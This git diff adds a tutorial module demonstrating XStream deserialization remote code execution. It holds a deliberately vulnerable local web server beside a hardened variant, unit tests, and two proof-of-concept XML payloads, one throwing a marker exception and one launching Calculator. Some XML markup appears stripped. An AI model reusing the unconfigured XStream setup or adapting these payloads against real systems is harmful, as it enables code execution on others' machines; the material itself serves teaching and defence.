diff --git a/xstream/pom.xml b/xstream/pom.xml
index f75e10fc7d..b98e258599 100644
--- a/xstream/pom.xml
+++ b/xstream/pom.xml
@@ -11,6 +11,7 @@
com.baeldung
parent-modules
1.0.0-SNAPSHOT
+ ../pom.xml
@@ -28,8 +29,8 @@
- 1.4.9
+ 1.4.10
1.3.8
-
\ No newline at end of file
+
diff --git a/xstream/src/main/java/com/baeldung/rce/App.java b/xstream/src/main/java/com/baeldung/rce/App.java
new file mode 100644
index 0000000000..3720c7fa93
--- /dev/null
+++ b/xstream/src/main/java/com/baeldung/rce/App.java
@@ -0,0 +1,92 @@
+package com.baeldung.rce;
+
+import com.sun.net.httpserver.HttpServer;
+import com.thoughtworks.xstream.XStream;
+import com.thoughtworks.xstream.security.NoTypePermission;
+import com.thoughtworks.xstream.security.NullPermission;
+import com.thoughtworks.xstream.security.PrimitiveTypePermission;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Web application which is intentionally vulnerable to an XStream remote code
+ * exploitation (RCE).
+ *
+ *
+ * This test application is meant to maintain a set of {@link Person} models. It
+ * exposes a "/persons" endpoint which supports the following operations:
+ *
+ *
+ * - {@code POST} XML for adding a new {@link Person} to the set
+ *
- {@code GET} for retrieving the set of {@link Person} models as XML
+ *
+ *
+ * The {@code POST} handler is vulnerable to an RCE exploit.
+ */
+public final class App {
+
+ public static App createHardened(int port) {
+ final XStream xstream = new XStream();
+ xstream.addPermission(NoTypePermission.NONE);
+ xstream.addPermission(NullPermission.NULL);
+ xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
+ xstream.allowTypes(new Class>[] { Person.class });
+ return new App(port, xstream);
+ }
+
+ public static App createVulnerable(int port) {
+ return new App(port, new XStream());
+ }
+
+ private final int port;
+ private final Set persons;
+ private final XStream xstream;
+ private HttpServer server;
+
+ private App(int port, XStream xstream) {
+ this.port = port;
+ persons = new HashSet<>();
+ // this app is vulnerable because XStream security is not configured
+ this.xstream = xstream;
+ this.xstream.alias("person", Person.class);
+ }
+
+ void start() throws IOException {
+ server = HttpServer.create(new InetSocketAddress("localhost", port), 0);
+ server.createContext("/persons", exchange -> {
+ switch (exchange.getRequestMethod()) {
+ case "POST":
+ final Person person = (Person) xstream.fromXML(exchange.getRequestBody());
+ persons.add(person);
+ exchange.sendResponseHeaders(201, 0);
+ exchange.close();
+ break;
+ case "GET":
+ exchange.sendResponseHeaders(200, 0);
+ xstream.toXML(persons, exchange.getResponseBody());
+ exchange.close();
+ break;
+ default:
+ exchange.sendResponseHeaders(405, 0);
+ exchange.close();
+ }
+ });
+ server.start();
+ }
+
+ void stop() {
+ if (server != null) {
+ server.stop(0);
+ }
+ }
+
+ int port() {
+ if (server == null)
+ throw new IllegalStateException("Server not started");
+ return server.getAddress()
+ .getPort();
+ }
+}
diff --git a/xstream/src/main/java/com/baeldung/rce/Person.java b/xstream/src/main/java/com/baeldung/rce/Person.java
new file mode 100644
index 0000000000..336c47798b
--- /dev/null
+++ b/xstream/src/main/java/com/baeldung/rce/Person.java
@@ -0,0 +1,43 @@
+package com.baeldung.rce;
+
+import java.util.Objects;
+
+/** Person model */
+public final class Person {
+
+ private String first;
+ private String last;
+
+ public String getFirst() {
+ return first;
+ }
+
+ public void setFirst(String first) {
+ this.first = first;
+ }
+
+ public String getLast() {
+ return last;
+ }
+
+ public void setLast(String last) {
+ this.last = last;
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ if (this == o) {
+ return true;
+ }
+ if (!(o instanceof Person)) {
+ return false;
+ }
+ Person person = (Person) o;
+ return Objects.equals(first, person.first) && Objects.equals(last, person.last);
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(first, last);
+ }
+}
diff --git a/xstream/src/test/java/com/baeldung/rce/AppUnitTest.java b/xstream/src/test/java/com/baeldung/rce/AppUnitTest.java
new file mode 100644
index 0000000000..3b541ae099
--- /dev/null
+++ b/xstream/src/test/java/com/baeldung/rce/AppUnitTest.java
@@ -0,0 +1,65 @@
+package com.baeldung.rce;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.SocketException;
+import java.net.URL;
+
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Unit test which demonstrates a remote code exploit against the {@link App}
+ * server. Sends an XML request containing an attack payload to the {@code POST}
+ * endpoint.
+ */
+public final class AppUnitTest {
+
+ private App app;
+
+ /** start a new web server */
+ @Before
+ public void before() throws IOException {
+ app = App.createVulnerable(0);
+ app.start();
+ }
+
+ /** stop the web server */
+ @After
+ public void after() {
+ if (app != null)
+ app.stop();
+ }
+
+ /**
+ * Test passes when an {@link IOException} is thrown because this indicates that
+ * the attacker caused the application to fail in some way. This does not
+ * actually confirm that the exploit took place, because the RCE is a
+ * side-effect that is difficult to observe.
+ */
+ @Test(expected = SocketException.class)
+ public void givenAppIsVulneable_whenExecuteRemoteCodeWhichThrowsException_thenThrowsException() throws IOException {
+ // POST the attack.xml to the application's /persons endpoint
+ final URL url = new URL("http://localhost:" + app.port() + "/persons");
+ final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
+ connection.setRequestMethod("POST");
+ connection.setDoOutput(true);
+ connection.setUseCaches(false);
+ connection.setRequestProperty("Content-Type", "application/xml");
+ connection.connect();
+ try (OutputStream os = connection.getOutputStream(); InputStream is = AppUnitTest.class.getResourceAsStream("/attack.xml")) {
+ byte[] buffer = new byte[1024];
+ while (is.read(buffer) > 0) {
+ os.write(buffer);
+ }
+ }
+ final int rc = connection.getResponseCode();
+ connection.disconnect();
+ assertTrue(rc >= 400);
+ }
+}
diff --git a/xstream/src/test/java/com/baeldung/rce/AttackExploitedException.java b/xstream/src/test/java/com/baeldung/rce/AttackExploitedException.java
new file mode 100644
index 0000000000..16c906abfc
--- /dev/null
+++ b/xstream/src/test/java/com/baeldung/rce/AttackExploitedException.java
@@ -0,0 +1,7 @@
+package com.baeldung.rce;
+
+/**
+ * Indicates a successful remote code execution attack has taken place.
+ */
+final class AttackExploitedException extends RuntimeException {
+}
diff --git a/xstream/src/test/java/com/baeldung/rce/AttackExploitedExceptionThrower.java b/xstream/src/test/java/com/baeldung/rce/AttackExploitedExceptionThrower.java
new file mode 100644
index 0000000000..16ed143f7a
--- /dev/null
+++ b/xstream/src/test/java/com/baeldung/rce/AttackExploitedExceptionThrower.java
@@ -0,0 +1,13 @@
+package com.baeldung.rce;
+
+/**
+ * Class which contains an action to throw {@link AttackExploitedException}.
+ * This helper is used by {@link AppTest} to determine when the remote code
+ * exploit has taken place.
+ */
+final class AttackExploitedExceptionThrower {
+
+ public void throwAttackExploitedException() {
+ throw new AttackExploitedException();
+ }
+}
diff --git a/xstream/src/test/java/com/baeldung/rce/XStreamBasicsUnitTest.java b/xstream/src/test/java/com/baeldung/rce/XStreamBasicsUnitTest.java
new file mode 100644
index 0000000000..d762813b22
--- /dev/null
+++ b/xstream/src/test/java/com/baeldung/rce/XStreamBasicsUnitTest.java
@@ -0,0 +1,82 @@
+package com.baeldung.rce;
+
+import com.thoughtworks.xstream.XStream;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.Map;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Demonstrates XStream basics
+ */
+public final class XStreamBasicsUnitTest {
+
+ private XStream xstream;
+
+ @Before
+ public void before() {
+ xstream = new XStream();
+ xstream.alias("person", Person.class);
+ }
+
+ @Test
+ public void whenWritePerson_thenWritesExpectedXml() {
+ Person person = new Person();
+ person.setFirst("John");
+ person.setLast("Smith");
+
+ String xml = xstream.toXML(person);
+
+ // @formatter:off
+ String expected = ""
+ + "\n"
+ + " John\n"
+ + " Smith\n"
+ + "";
+ // @formatter:on
+ assertEquals(expected, xml);
+
+ }
+
+ @Test
+ public void whenReadXmlAsPerson_thenReturnsNewPerson() {
+ // @formatter:off
+ String xml = ""
+ + ""
+ + " John"
+ + " Smith"
+ + "";
+ // @formatter:on
+
+ Person person = (Person) xstream.fromXML(xml);
+
+ Person expected = new Person();
+ expected.setFirst("John");
+ expected.setLast("Smith");
+ assertEquals(person, expected);
+ }
+
+ @Test
+ public void givenXmlRepresentationOfMap_whenDeserialize_thenBuildsMap() {
+ // @formatter:off
+ String xml = ""
+ + "";
+ // @formatter:on
+ @SuppressWarnings("unchecked")
+ Map actual = (Map) xstream.fromXML(xml);
+
+ final Map expected = Collections.singletonMap("foo", 10);
+
+ assertEquals(expected, actual);
+ }
+
+}
diff --git a/xstream/src/test/resources/attack.xml b/xstream/src/test/resources/attack.xml
new file mode 100644
index 0000000000..8a5713648c
--- /dev/null
+++ b/xstream/src/test/resources/attack.xml
@@ -0,0 +1,12 @@
+
+ foo
+
+ java.lang.Comparable
+
+
+
+ throwAttackExploitedException
+
+
+
diff --git a/xstream/src/test/resources/calculator-attack.xml b/xstream/src/test/resources/calculator-attack.xml
new file mode 100644
index 0000000000..ae24843dc6
--- /dev/null
+++ b/xstream/src/test/resources/calculator-attack.xml
@@ -0,0 +1,16 @@
+
+ foo
+
+ java.lang.Comparable
+
+
+
+ open
+ /Applications/Calculator.app
+
+
+ start
+
+
+